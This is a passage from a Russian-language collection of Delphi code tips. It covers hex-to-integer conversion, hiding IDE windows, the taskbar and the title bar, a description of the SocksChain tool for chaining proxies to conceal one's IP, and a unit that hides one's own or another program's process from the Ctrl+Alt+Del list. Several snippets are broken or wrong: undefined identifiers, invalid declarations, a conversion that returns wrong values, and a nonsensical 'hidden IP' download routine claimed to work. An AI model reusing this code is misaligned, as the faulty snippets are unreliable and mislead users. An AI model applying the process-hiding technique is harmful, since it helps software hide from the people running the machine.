и вниз. Кнопка Move selection right перемещает выделенный элемент вправо, т. е. делает его подчиненным предыдущему элементу списка. Кнопка Move selection left выводит элемент из подчиненности предыдущему элементу.
Из шестнадцатеричного числа в целое.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// This tip convert the Hex Code AFFE to integer
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := IntToStr(StrToInt('$AFFE')); //45054
end;
Из шестнадцатеричного числа в двоичное.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function HexToBin(Hexadecimal: string): string;
const
BCD: array [0..15] of string =
('0000', '0001', '0010', '0011', '0100', '0101', '0110', '0111',
'1000', '1001', '1010', '1011', '1100', '1101', '1110', '1111');
var
i: integer;
begin
for i := Length(Hexadecimal) downto 1 do
Result := BCD[StrToInt('$' + Hexadecimal[i])] + Result;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(HexToBin('FFA1'));
// Returns 1111111110100001
end;
Процедура для преобразования HEX чисел в Integer.
Автор: Перегинец Иван WEB-сайт: http://perehynets.narod.ru
function HexToInt(s: string): integer;
label
gte;
var
tempt: string;
i: integer;
begin
tempt := '';
if s = '' then
begin
HexToInt := 0;
goto gte;
end;
for i := 1 to Length(s) do
begin
tempt := tempt + IntToHex(Ord(s[i]), 2);
end;
HexToInt := StrToInt('$' + tempt);
gte:
end;
Из HEX и Integer.
var i : integer s : string; begin s := '$' + ThatHexString; i := StrToInt(a); end; |
Из HEX и Integer 2.
CONST HEX : ARRAY['A'..'F'] OF INTEGER = (10,11,12,13,14,15);
VAR
str : String;
Int,
i : integer;
BEGIN
READLN(str);
Int := 0;
FOR i := 1 TO Length(str) DO
IF str[i] < 'A' THEN
Int := Int * 16 + ORD(str[i]) - 48
ELSE
Int := Int * 16 + HEX[str[i]];
WRITELN(Int);
READLN;
END.
|
Преобразование шестнадцатеричных чисел в целые.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function HexToInt(s: string): Longword;
var
b: Byte;
c: Char;
begin
Result := 0;
s := UpperCase(s);
for b := 1 to Length(s) do
begin
Result := Result * 16;
c := s[b];
case c of
'0'..'9': Inc(Result, Ord(c) - Ord('0'));
'A'..'F': Inc(Result, Ord(c) - Ord('A') + 10);
else
raise EConvertError.Create('No Hex-Number');
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(StrToHex('AAF1'))); // > 43761
end;
{*************************************************}
procedure HexToInt(s: string): Integer;
begin
Result := StrToInt('$' + s);
end;
{*************************************************}
function HexToInt(strHexValue : string) : Integer;
var
c,l : integer;
begin
Val(strHexValue, l, c);
Result := l;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessage(IntToStr(HexToInt('$EAD1')));
end;
{***************************************************}
unit HexConvert;
{ by Andre Fritzsche }
interface
uses SysUtils;
// Wandelt Hexadezimalwert in Value zu Zahl
function HexTo(Value: string): Longword;
// Wandelt Bytewert aus Value in Hexadezimalwert (String)
function ToHex(Value: Byte): string; overload;
// Wandelt Wordwert aus Value in Hexadezimalwert (String) und
// trennt Hi- und Lo-Byte durch Splitter
function ToHex(Value: Word; Splitter: Char): string; overload;
// Wandelt Longwordwert aus Value in Hexadezimalwert (String) und
// trennt Hi- und Lo-Word durch Splitter
function ToHex(Value: Cardinal; Splitter: Char): string; overload;
implementation
const
HexTbl: string = '0123456789ABCDEF';
{------------------------------------------------------------------------------}
function HexTo(Value: string): Longword;
var
intX, PosCnt: Byte;
zwVal: Integer;
begin
Result := 0;
PosCnt := 0; //Halb-Byte-Position
for intX := Length(Value) - 1 downto 0 do
begin //alle Zeichen von links durchlaufen
zwVal := Pos(UpperCase(Value[intX + 1]), HexTbl) - 1; //prufen, ob Zeichen aus Value
if zwVal >= 0 then
begin //in HexTbl vorkommt und Position zu zwVal
Result := Result + (zwVal shl (4 * PosCnt));
//zwVal 4*Halbbyteposition Bits nach links verschieben
Inc(PosCnt); //Halb-Byte Position erhohen
end;
end;
end;
{------------------------------------------------------------------------------}
function ToHex(Value: Byte): string;
var
zwVal: Byte;
begin
zwVal := (Value and $0F); //erstes (Lo)-Byte von Value maskieren
Result := HexTbl[zwVal + 1]; //aus HexTbl zu Result
zwVal := (Value and $F0) shr 4;
//zweites (Hi)-Byte von Value maskieren und 4Bits nach rechts verschieben
Result := HexTbl[zwVal + 1] + Result; //aus HexTbl vor Result
end;
{------------------------------------------------------------------------------}
function ToHex(Value: Word; Splitter: Char): string;
begin
Result := ToHex(Byte(Lo(Value))); //LoByte umwandeln, zu Result
Result := ToHex(Byte(Hi(Value))) + Splitter + Result;
//HiByte umwandeln, zu Result, Trennzeichen davorsetzen
end;
{------------------------------------------------------------------------------}
function ToHex(Value: Cardinal; Splitter: Char): string;
var
zwVal: Word;
begin
zwVal := Value and $0000FFFF; //loword maskieren
Result := ToHex(Word(zwVal)); //umwandeln und zu Result
zwVal := (Value and $FFFF0000) shr 16; //hiword maskieren
Result := ToHex(Word(zwVal)) + Splitter + Result;
//umwandeln und zu Result, Trennzeichen davorsetzen
end;
{------------------------------------------------------------------------------}
end.
Загрузить web-страницу со скрытым IP.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{ Add a button and memo }
implementation
{$R *.dfm}
uses
Urlmon;
procedure TForm1.Button1Click(Sender : TObject);
var
ca : iinterface;
rls : Integer;
stat : iBindStatusCallBack;
rr : Cardinal;
tag : _tagBindInfo;
exGuid : tguid;
noIp : Pointer;
res : HResult;
begin
// Make a 0.0.0.0 ip giud
exGuid.D1 := rr;
exGuid.D2 := word('0');
exGuid.D3 := word('.');
// Set Tag options
with tag do
begin
// set "0." ip guid
iid := exGuid;
// set needed size
cbSize := sizeOf('www.big-x.cjb.net');
// Add ip hiding ( not tested, but should work )
securityAttributes.lpSecurityDescriptor := noIp;
securityAttributes.nLength := length('0.0.0.0');
securityAttributes.bInheritHandle := True;
end;{
Extra: res := stat.GetBindInfo(rr, tag);}
//Start downloading webpage
try
urlmon.URLDownloadToFile(ca, 'www.big-x.cjb.net', 'filename.htm', 1, stat);
except
ShowMessage('Could not download the webpage!');
end;
//Load the webpage source to a memo
memo1.Lines.LoadFromFile('filename.htm');
end;
Скрывать свернутые дочерние формы MDI приложения.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Write this code in your MDI Child Window unit.
// Schreibe diesen Code in die Unit des MDI Child Fensters:
type
TfrmMyMDIForm = class(TForm)
public
procedure WMSize(var Msg: TWMSIZE); message WM_SIZE
end;
implementation
procedure TfrmMyMDIForm.WMSize(var Msg: TWMSize);
begin
if Msg.SizeType = SIZE_MINIMIZED then
ShowWindow(Handle, SW_HIDE);
end;
Как запретить показ курсора в TEdit и ему подобных контролах.
| Коврик для мышки выполнил недопустимую операцию и будет свернут. |
Создайте своего потомка с обработчиками:
procedure WMPaint(var Msg: TMessage); message WM_Paint; procedure WMSetFocus(var Msg: TMessage); message WM_SetFocus; procedure WMNCHitTest(var Msg: TMessage); message WM_NCHitTest; |
В которых вызывайте:
inherited; HideCaret(Handle); |
Скрыть свойства в IDE.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
unit HideAboutProps;
// Declare a Property-Category-Class
// Eine Eigenschaftskategorie-Klasse deklarieren
type
TAboutPropCategory = class(TPropertyCategory)
// Give it a name and a description
// Namen und Beschreibung vergeben
class function Name: string; override;
class function Description: string; override;
end;
procedure Register;
implementation
// Register this new Property Category in the Delphi-IDE
// Diese neue Eigenschaftskategory in Delphi registrieren
procedure Register;
begin
RegisterPropertyInCathegory(TAboutPropCategory, 'About');
end;
// Implementation of the two class functions from above
// Den beiden Klasse-Funktionen noch eine Implementation geben
class function TAboutPropCategory.Name: string;
begin
Result := 'About';
end;
class function TAboutPropCategory.Description: string;
begin
// As you want it ...
Result := 'Gives information about the author.';
// Wie man's mochte ...
Result := 'Enthalt Informationen uber den Autor.';
end;
// To use this new category, you only have to include this unit in a package and recompile it.
// If you want, you now can hide all properties called 'About' from being displayed
// in the object inspector.
// Um diese neue Kategorie zu nutzen, muss man die Unit nur in ein Package einbinden
// und dieses danach neu compilieren.
// Wenn man mochte, kann man nun alle Eigenschaften, die 'About' hei?en, verbergen.
Скрыть окна IDE во время проектирования.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
//****************************************
// Paste into AutoHideIDE.dpk
//****************************************
package AutoHideIDE;
{$R *.res}
{$ALIGN 8}
{$ASSERTIONS ON}
{$BOOLEVAL OFF}
{$DEBUGINFO ON}
{$EXTENDEDSYNTAX ON}
{$IMPORTEDDATA ON}
{$IOCHECKS ON}
{$LOCALSYMBOLS ON}
{$LONGSTRINGS ON}
{$OPENSTRINGS ON}
{$OPTIMIZATION ON}
{$OVERFLOWCHECKS OFF}
{$RANGECHECKS OFF}
{$REFERENCEINFO ON}
{$SAFEDIVIDE OFF}
{$STACKFRAMES OFF}
{$TYPEDADDRESS OFF}
{$VARSTRINGCHECKS ON}
{$WRITEABLECONST OFF}
{$MINENUMSIZE 1}
{$IMAGEBASE $400000}
{$DESIGNONLY}
{$IMPLICITBUILD OFF}
requires
rtl,
vcl;
contains
AutoHide in 'AutoHide.pas';
end.
//****************************************
// Paste into AutoHide.pas
//****************************************
unit AutoHide;
interface
uses
Windows, Messages, SysUtils, Classes, Controls, Forms;
type
TAutoHider = class(TObject)
protected
procedure DelphiOnMessage(var Msg: TMsg; var Handled: Boolean);
procedure MyDockDrop(Sender: TObject; Source: TDragDockObject; X, Y: Integer);
procedure MyDestroy(Sender: TObject);
public
OldDockDrop: TDockDropEvent;
OldDestroy: TNotifyEvent;
Delphi: TApplication;
Bar_Top: TForm;
Bar_Left: TForm;
ObjInspector: TForm;
DockHost: TForm;
Bar_Top_Rect: TRect;
Bar_Left_Rect: TRect;
F_AtTop: Boolean;
F_AtLeft: Boolean;
procedure Init_Bar_Left;
procedure Bar_Left_Visible(val: Boolean);
procedure Bar_Top_Visible(Value: Boolean);
end;
var
AutoHider: TAutoHider;
implementation
{ TAutoHide }
procedure Restore_Bar_Left;
begin
AutoHider.ObjInspector.OnDockDrop := nil;
if AutoHider.DockHost <> nil then
begin
AutoHider.DockHost.OnDestroy := nil;
end;
AutoHider.Bar_Left.BoundsRect := AutoHider.Bar_Left_Rect;
end;
procedure Restore_Bar_Top;
begin
AutoHider.Bar_Top.BoundsRect := AutoHider.Bar_Top_Rect;
end;
procedure InitAutoHider(Value: Boolean);
begin
if Value then
begin
AutoHider.Delphi := Application;
AutoHider.Bar_Top := TForm(Application.FindComponent('AppBuilder'));
if AutoHider.Bar_Top <> nil then
begin
AutoHider.Bar_Top_Rect := AutoHider.Bar_Top.BoundsRect;
AutoHider.ObjInspector := AutoHider.Bar_Top.FindComponent('PropertyInspector')
as TForm;
AutoHider.Bar_Left_Rect := AutoHider.ObjInspector.BoundsRect;
AutoHider.OldDockDrop := AutoHider.ObjInspector.OnDockDrop;
AutoHider.ObjInspector.OnDockDrop := AutoHider.MyDockDrop;
AutoHider.DockHost := nil;
AutoHider.Init_Bar_Left;
AutoHider.F_AtTop := True;
AutoHider.F_AtLeft := True;
AutoHider.Delphi.OnMessage := AutoHider.DelphiOnMessage;
end;
end
else
begin
Restore_Bar_Left;
Restore_Bar_Top;
end;
end;
procedure TAutoHider.Bar_Top_Visible(Value: Boolean);
begin
if Value = F_AtTop then Exit;
if Value then
begin
Bar_Top.Top := 0;
Bar_Top.Show;
end
else
begin
Bar_Top.Top := -Bar_Top.Height + 3;
end;
F_AtTop := Value;
end;
procedure TAutoHider.Bar_Left_Visible(val: Boolean);
begin
if val = F_AtLeft then Exit;
if val then
begin
Bar_Left.Left := 0;
Bar_Left.Top := 0;
Bar_Left.Height := Screen.WorkAreaHeight;
Bar_Left.Show;
end
else
begin
Bar_Left.Left := -Bar_Left.Width + 3;
end;
F_AtLeft := val;
end;
procedure TAutoHider.DelphiOnMessage(var Msg: TMsg; var Handled: Boolean);
begin
if not Delphi.Active then Exit;
if (Msg.message = WM_LBUTTONDOWN) then Exit;
if (Msg.message = WM_MOUSEMOVE) or (Msg.message = WM_NCMOUSEMOVE) then
begin
if F_AtTop then
if Mouse.CursorPos.Y > Bar_Top.Height + 50 then
begin
Bar_Top_Visible(False);
end;
if not F_AtTop then
if Mouse.CursorPos.Y < 3 then
begin
Bar_Top_Visible(True);
end;
if F_AtLeft then
if (Mouse.CursorPos.x > Bar_Left.Width + 50) and (not Bar_left.Active) then
begin
Bar_Left_Visible(False);
end;
if not F_AtLeft then
if Mouse.CursorPos.X < 3 then
begin
Bar_Left_Visible(True);
end;
end;
end;
procedure TAutoHider.MyDestroy(Sender: TObject);
begin
if Sender is TApplication then
begin
Bar_Top_Visible(False);
Bar_Left_Visible(False);
end
else
begin
if Assigned(OldDestroy) then OldDestroy(Sender);
DockHost := nil;
Bar_Left := ObjInspector;
end;
end;
procedure TAutoHider.Init_Bar_Left;
begin
if (Delphi.FindComponent('TabDockHostForm') as TForm) <> nil then
DockHost := Delphi.FindComponent('TabDockHostForm') as TForm
else if (Delphi.FindComponent('JoinDockForm') as TForm) <> nil then
DockHost := Delphi.FindComponent('JoinDockForm') as TForm;
if DockHost <> nil then
begin
DockHost.Top := 0;
DockHost.Height := Screen.WorkAreaHeight;
OldDestroy := DockHost.OnDestroy;
DockHost.OnDestroy := MyDestroy;
Bar_Left := DockHost;
end
else
begin
Bar_Left := ObjInspector;
end;
end;
procedure TAutoHider.MyDockDrop(Sender: TObject; Source: TDragDockObject; X,
Y: Integer);
begin
if Assigned(OldDockDrop) then OldDockDrop(Sender, Source, X, Y);
Init_Bar_Left;
end;
initialization
AutoHider := TAutoHider.Create;
InitAutoHider(True);
finalization
InitAutoHider(False);
AutoHider.Delphi.OnMessage := nil;
AutoHider.Free;
end.
Скрыть статус соединения с Интернетом с TrayBar.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses
shellapi;
procedure TForm1.Button1Click(Sender: TObject);
var
nt: TNotifyIconData;
begin
with nt do
begin
cbSize := SizeOf(nt);
Wnd := FindWindow('#32770', nil);
uid := 0;
uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
uCallbackMessage := WM_USER + 17;
hIcon := 0;
szTip := '';
end;
Shell_NotifyIcon(NIM_DELETE, @nt);
end;
Скрыть истинный IP.
Оформил: DeeCo
Версия 3.0.
SocksChain - программа, позволяющая работать через цепочку SOCKS или HTTP-проксей для того чтобы скрыть истинный IP-адрес. SocksChain может работать как обычный SOCKS-сервер, транслируя запросы по цепочке проксей. SocksChain может быть использован с клиентскими программами, которые не поддерживают протокол SOCKS, но работают с одним TCP-соединением. например TELNET, HTTP, IRC... (FTP использует 2 соединения). При этом ваш IP-адрес не будет появляться в логах сервера или заголовках почтовы сообщений.
Что нового в версии 3.0 Поддержка HTTP-проксей с поддержкой HTTP-tunneling Функция тестирования проксей на работоспособность Настройка типа подключения к Internet (т.е. можно указать фиксированный прокси, который всегда будет присутствовать во всех соединениях первым) Большая база данных по проксям (несколько сотен адресов) Принцип работыSocksChain так транслирует TCP-обращение клиентской программы, что оно последовательно проходит через цепочку проксей. Сам SocksChain соединяется только с первым элементом этой цепочки. В свою очередь тот соединяется со вторым и т.д...
При этом возможность отследить откуда инициировался запрос исходя из логов на сервере очень сложно. Для этого нужно будет последовательно анализировать логи всех промежуточных звеньев цепи в обратном порядке. Если где-то логов не ведется, то нить будет потеряна. Это теоретически дает очень высокую степень анонимности. Но в ущерб скорости передачи данных, так как она обратно пропорциональна длине цепочки.
Подсистемы программы SocksChain Менеджер проксей Что такое проксиПрокси - это компьютер в сети, который может служить промежутчным звеном для подключения к тругим компьютерам. Они используются обычно в следующих двух целях:
Как Firewall - для защиты локальной сети организации от доступа извне Как мультиплексор IP-адресов, что позволяет подключить много компьюетеров к Internet, имея в распоряжении только один IP-адрес.В качестве прокси часто используется программа WinGate.
Довольно много таких проксей открыты для свободного доступа.
Из всего разнообразия проксей существует 2 основных вида универсальных сервиса, т.е. позволяющих транслировать любые TCP-соединения (а не только например HTTP и FTP). Только они позволяют создавать цепочку и следовательно полезны для SocksChain:
SOCK4 и SOCKS5 сервисы. По уволчанию им назначается порт 1080. SOCKS5 - является наиболее универсальным сервисом, так как позволяет не только устанавливать TCP-соединения но и открывать порт для входящих TCP-соединений (операция BIND) и передавать/принимать UDP-датаграммы. HTTP-прокси с возможностью SSL-tunneling. Порт по умолчанию 8080. Это менее универсальный сервис, чем SOCKS5, но зато гораздо более распространенный.Менеджер проксей занимается всей работой по поддержанию базы данных по проксям. Его можно вызвать через меню Options|Proxy Manager. В функции менеджера входит:
Хранение списка в виде XML-файла Обновление списка с сервера (кнопка Download) Тестирование на работоспособность (кнопка Test All). (по умолчанию тестируется соединение с сервером www.microsoft.com порт 80, как наиболее мощном и доступном отовсюду). Оповещение сервера о степени работоспособности используемых проксейТаким образом список проксей ведется распределенным образом. Скрипт на сервере собирает статистику о наиболее часто используемых проксях. Это важно так как часто свободный доступ к прокси закрывают.
Формат XML-файла SocksChain.xmlВ этом файле хранится таблица известных проксей. Вы можете пополнять этот файл как из программы, так и вручную в воответсвии со следующим образцом:
<SocksChain> <Proxies> <Proxy IP="12.1.68.100" SOCKSPORT="1080" SOCKS4="" SOCKS5="" /> <Proxy IP="12.2.81.50" HTTPPORT="8080" HTTPTUNNEL=""/> </Proxies> </SocksChain>
Присутсвие параметра IP обязательно. Присутсвие остальных параметров необязательно и означает:
SOCKSPORT - порт для использования сервисов SOCKS4/5 (по умолчанию 1080) HTTPPORT - порт для использования HTTP-tunneling (по умолчанию 8080) SOCKS4, SOCKS5, HTTPTUNNEL - параметры без указания значения. Их присутствие означает что данный IP-адрес проверен на функционирования соответствующего сервиса.Если для одного IP-адреса проверено сразу несколько видов проксей то приоритет имеет SOCKS5, затем SOCKS и HTTP.
СерверСервер занимается обслуживание запросов от Internet-клиентов. Его задачей является перенаправление TCP- и UDP-соединений по определенному маршруту из проксей. Маршрут может задаваться вручную или составляться автоматически (при этом задается его длина) из имеющегося списка проксей.
Сервер позволяет навесить несколько Сервисов на разные порты. У каждого сервиса может быть индивидуальный маршрут и сервер назначения. Сервер назначения (Target server) нужен только если клиентская программа не поддерживает непосредсвенно SOCKS-протокол.
Вот примерный список популярных программ, поддерживающих SOCKS (для них поле TargetServer заполнять не нужно):
mIRC ICQ InternetExplorer AdvancedDirectRemailer - ремейлер со встроеным SMTP сервером, поддерживающий списки рассылки, плагины и SOCKS-5 прокси WinGateПрограммы, не поддерживающие SOCKS но позволяющие работать через SocksChain:
MS Outlook & OutlookExpress Telnet MS TerminalClientК сожалению большинство FTP-клиентов не могут работать через SOCKS. А так как FTP использует не только исходящие TCP-потоки их перенаправление через SocksChain невозможно.
По умолчанию при установке создается сервис на порту 1081 (не 1080 потому, что часто порт 1080 занят каким то стандартным прокси, например WinGate). Вы можете поменять номер порта на любой свободный на вашей машине. Соответсвенно в клиентской программе вы указываете 127.0.0.1:1081 как адрес сервера. То есть надо соединить вашу клиентскую программу, SocksChain, промежуточные прокси и сервер назначения в логическую цепочку.
При обращении клиентов к сервисам, в правой панели клавного окна отображается процесс последовательного подключения к елементам цепочки.
При добавлении нового или модификации сервиса открывается окно его настроек. Основные элементы:
Name - имя сервиса, никакого функционального назначения не несет, просто должно быть уникальным. Accept on port - порт на вашей машине, не занятый никаким другим сервисом. Может назначаться произвольно. Именно это число нужно указывать в настройках клиентских программ в качестве порта сервера или прокси. Если например мы выбрали порт 1081 то в почтовом клиенте пишем SMTP-server: 127.0.0.1 порт 1081 (127.0.0.1 всегда обозначает ту же машину на которой запущен клиент) Auto-creating chain - автоматическое создание цепочки. Если выбрана эта опция надо очистить list-box "Chain". Length of chain - длина цепочки, которая должна быть создана автоматически. Рекомендуемые значения: 2-5. Большая длина - это меньшая вероятность обнаружения но и меньшая скорость. Chain list-box - список проксей через которые транслировать соединение Target Host - пара вида host:port, которая служит целью клиентов, не поддерживающих соединение через прокси. Например для телнета: somehost.com:23. Этот адрес не обязан быть прокси. ProxyList - таблица известных проксей. не все из них постоянно работают. Поэтому рекомендуется время от времени проводить их тестирование через менеджер проксей.Если оставить список и Target пустыми и отключить авто-создание то SocksChain будет функционировать как обычный SOCKS4/5 прокси. Этот режим может помочь, если вы создаете цепочку вручную, то это можно делать шаг за шагом, настров клиента сначала работать просто через SocksChain без проксей а затем добавляя те по одному.
Общие настройкиВ меню Tools|Options настраиваются следующие параметры:
Number of threads - число одновременно работающих потоков. (задает только порядок этого числа, т.е. реально потоков может быть и больше раза в 2, в зависимости от конкретно выполняемых операций). Рекомендуемые значения: от 1 до 20. Run As Service - автозапуск программы при старте Windows. Для Windows NT/2000 программа запустится в режиме сервиса. Connect to Internet through - задает первый прокси через который производятся все действия программы, в том числе тестирование проксей. Это бывает необходимо если у вас не глобально-доступный IP-адрес а внутренний Intranet-овский.Спрятать горизонтальную или вертикальную полосу прокрутки в TListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
TForm1 = class(TForm)
ListView1: TListView;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
FListViewWndProc: TWndMethod;
procedure ListViewWndProc(var Msg: TMessage);
public
{ Private declarations }
FShowHoriz: Boolean;
FShowVert: Boolean;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.ListViewWndProc(var Msg: TMessage);
begin
ShowScrollBar(ListView1.Handle, SB_HORZ, FShowHoriz);
ShowScrollBar(ListView1.Handle, SB_VERT, FShowVert);
FListViewWndProc(Msg); // process message
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
FShowHoriz := True; // show the horiz scrollbar
FShowVert := False; // hide vert scrollbar
FListViewWndProc := ListView1.WindowProc; // save old window proc
ListView1.WindowProc := ListViewWndProc; // subclass
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
ListView1.WindowProc := FListViewWndProc; // restore window proc
FListViewWndProc := nil;
end;
Как спрятать окна MDI Child.
procedure TCustomForm.VisibleChanging;
begin
if (FormStyle = fsMDIChild) and Visible then
raise EInvalidOperation.Create(SMDIChildNotVisible);
end;
|
Как отключить курсор мыши.
| Приходит программер домой, к нему подбегает кошка и начинает усиленно ластиться, лизать руку, мурчать и т.д.Жена, увидев это, спрашивает: - Что это вдруг случилось с кошкой? Чего она руку-то лижет? - Как чего? Мышкой пахнет... |
//Выключение курсора
procedure TForm1.Button1Click(Sender: TObject);
var
CState: Integer;
begin
CState := ShowCursor(True);
while Cstate >= 0 do
Cstate := ShowCursor(False);
end;
//Включение курсора
procedure TForm1.Button2Click(Sender: TObject);
var
Cstate: Integer;
begin
Cstate := ShowCursor(True);
while CState do
CState := ShowCursor(True);
end;
|
Скрытие или отображение процесса из списка процессов.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> СКРЫТИЕ или отображение процесса из списка ctrl+alt+del
СКРЫТИЕ или отображение процесса в списке ctrl+alt+del
ПРАВИЛА ИСПОЛЬЗОВАНИЯ:
ДЛЯ скрытия собственного приложения из списка процессов, отображаемых
при нажатии CTRL+ALT+DEL, вызывайте функцию ShowHideInCad со следующими
параметрами:
ShowHideInCad (TakeMyApplicationProcessID, False) - и название Вашего
приложения будет скрыто из списка CTRL+ALT+DEL
ДЛЯ скрытия процесса чужого приложения, вызывайте функцию с такими
параметрами:
ShowHideInCAD (TakeProcessID('Заголовок окна скрываемого приложения'), FALSE)
Зависимости: windows
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 23 мая 2002 г.
***************************************************** }
unit cad;
interface
uses windows;
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'KERNEL32.DLL';
function ShowHideInCad(ProcessID: Integer; Show: Boolean): boolean;
function TakeProcessID(WindowTitle: string): Integer;
function TakeMyApplicationProcessID: Integer;
implementation
//Получение дескриптора процесса любого окна, по заголовку этого окна
function TakeProcessID(WindowTitle: string): Integer;
var
WH: THandle;
begin
result := 0;
WH := FindWindow(nil, pchar(WindowTitle));
if WH <> 0 then
GetWindowThreadProcessID(WH, @Result);
end;
//Получение дескриптора процесса собственного приложения
function TakeMyApplicationProcessID: Integer;
begin
Result := GetCurrentProcessID;
end;
//Отображение/Скрытие процесса в CTRL+ALT+DEL
function ShowHideInCAD(ProcessID: Integer; Show: Boolean): Boolean;
begin
result := true;
try
//если show = true , то отображаем процесс в CAD, иначе - прячем
if Show = True then
RegisterServiceProcess(ProcessID, 0)
else
RegisterServiceProcess(ProcessID, 1);
except result := false;
end;
end;
end.
Скрыть кнопку программы на панели задач.
Все запущенные .exe-файлы обозначаются значком на панели задач. А как же сделать, чтобы он стал невидим?
Нужно просто воспользоваться функцией ShowWindow.
ShowWindow(Application.Handle, sw_Hide); |
Для восстановления видимости значка:
ShowWindow(Application.Handle, sw_Show); |
Как скрыть свойства объекта.
В иерархии VCL в большинстве случаев существует уровень объектов-"предшественников" (TCustomXXXX), в которых многие свойства скрыты. Для унаследованных от таких "предшественников" объектов можно "открывать" на выбор те или иные свойства. А как можно сокрыть свойства, которые объявлены в published-области от Object Insресtоr'а, но при этом оставить возможность доступа во время работы программы? Решение состоит в объявлении свойства "по новой" в public-области. В примере скрытым будет у объекта TMyControl свойство Height.
TMyControl = class(TWinControl) protected procedure SetHeight(Value: Integer); function GetHeight: Integer; public property Height: Integer read GetHeight write SetHeight; end; procedure TMyControl.SetHeight(Value: Integer); begin inherited Height := Value; end; function TMyControl.GetHeight; begin Result := inherited Height; end; |
Как убрать публичное свойство компонента.
Автор: Nomadic.
Из TForm property не убирал, но из TWinControl было дело. А дело было так:
interface
type
TMyComp = class(TWinControl)
...
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents('MyPage', [TMyComp]);
RegisterPropertyEditor(TypeInfo(string), TMyComp, 'Hint', nil);
end;
{ и т.д. }
|
Теперь property 'Hint' в Object Inspector не видно. Рад, если чем-то помог. Если будут глюки, умоляю сообщить. Такой подход у меня сплошь и рядом.
Скрыть панель задач.
ShowWindow(FindWindow('Shell_TrayWnd', nil), sw_hide);
|
Как спрятать заголовок формы.
| Программист и инженер оказались друг возле друга во время долгого полета из Москвы в Нью-Йорк. Программист обращается к инженеру и спрашивает, не желает ли тот скоротать время игрой в одну занятную игру. Инженеру очень хотелось спать и он, вежливо отказавшись, прильнул к окну, чтобы хоть немного вздремнуть. Программист же, продолжая настаивать, обьясняет, что игра, мол, очень занятная и простая. - Я задаю вам вопрос и если вы не знаете ответа, вы платите мне пять баксов. А потом вы задаете мне вопрос. Если я не знаю ответа, то плачу соответсвенно пять баксов вам. Но инженер снова вежливо отказывается и пытается уснуть. Ну, программист уже самозавелся и говорит: - Ну ладно, если вы не знаете ответа, то платите мне $5, а если я не знаю, то плачу вам $50!! Это в конце концов заинтересовало инженера, тем более,что он видит, что от программиста отделаться не так легко. Он соглашается. Програмист спрашивает: - Каково расстояние между Луной и Солнцем? Инженер не говоря ни слова лезет в карман, достает бумажник, вытаскивет $5 и протягивает их программисту. Очередь инженера: - Что идет вверх на трех ногах, а спускается на четырех? - спрашивает он программиста и отворачивается к окну. Программист ошалело на него посмотрел и достает свой Лаптоп. Прошелся по всем своим поисковым системам. Ничего. Тогда подключается к бортовому телефону, рыщет по Интернету, прочесал всю библиотеку Конгресса. Ничего. Посылает е-мейлы всем своим сотрудникам с запросом. Ничего. Через час он будит инженера и дает ему $50. Инженер аккуратненько свернул деньги, положил их в кармашек и повернулся к окну спать. Охр@невший программист трясет инженера за плечо и спрашивает: - Так какой же все-таки ответ?! Не говоря ни слова, инженер достает свой кошелек, дает программисту $5 и поворачивается к окну, чтобы докимарить до Нью-Йорка... |
Во-первых, перепишите у формы метод "CreateParams", объявив его в protected или public секции:
procedure CreateParams(var Params: TCreateParams); override; |
Затем создайте сам код метода CreateParams(), выглядящий так:
procedure TForm1.Createparams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
with Params do
Style := (Style or WS_POPUP) and (not WS_DLGFRAME);
end;
|
Надо надеяться, что вы обеспечите некоторый UI-механизм для перемещения и закрытия окна.
Спрятать Titlebar.
procedure TForm1.HideTitlebar;
var
Style: Longint;
begin
if BorderStyle = bsNone then Exit;
Style := GetWindowLong(Handle, GWL_STYLE);
if (Style and WS_CAPTION) = WS_CAPTION then
begin
case BorderStyle of
bsSingle,
bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style and
(not (WS_CAPTION)) or WS_BORDER);
bsDialog: SetWindowLong(Handle, GWL_STYLE, Style and
(not (WS_CAPTION)) or DS_MODALFRAME or WS_DLGFRAME);
end;
Height := Height - GetSystemMetrics(SM_CYCAPTION);
Refresh;
end;
end;
procedure TForm1.ShowTitlebar;
var
Style: Longint;
begin
if BorderStyle = bsNone then Exit;
Style := GetWindowLong(Handle, GWL_STYLE);
if (Style and WS_CAPTION) <> WS_CAPTION then
begin
case BorderStyle of
bsSingle,
bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style or WS_CAPTION or
WS_BORDER);
bsDialog: SetWindowLong(Handle, GWL_STYLE,
Style or WS_CAPTION or DS_MODALFRAME or WS_DLGFRAME);
end;
Height := Height + GetSystemMetrics(SM_CYCAPTION);
Refresh;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
HideTitlebar;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ShowTitlebar;
end;
|
Как спрятать кнопки в заголовке окна.
Автор: Andrey
procedure TForm1.FormCreate(Sender: TObject); var Style: Longint; begin Style := GetWindowLong(Handle, GWL_STYLE); SetWindowLong(Handle, GWL_STYLE, Style and not WS_SYSMENU); end;
Спрятать часы в Tray.
function ShowTrayClock(bValue: Boolean) : Boolean;
var
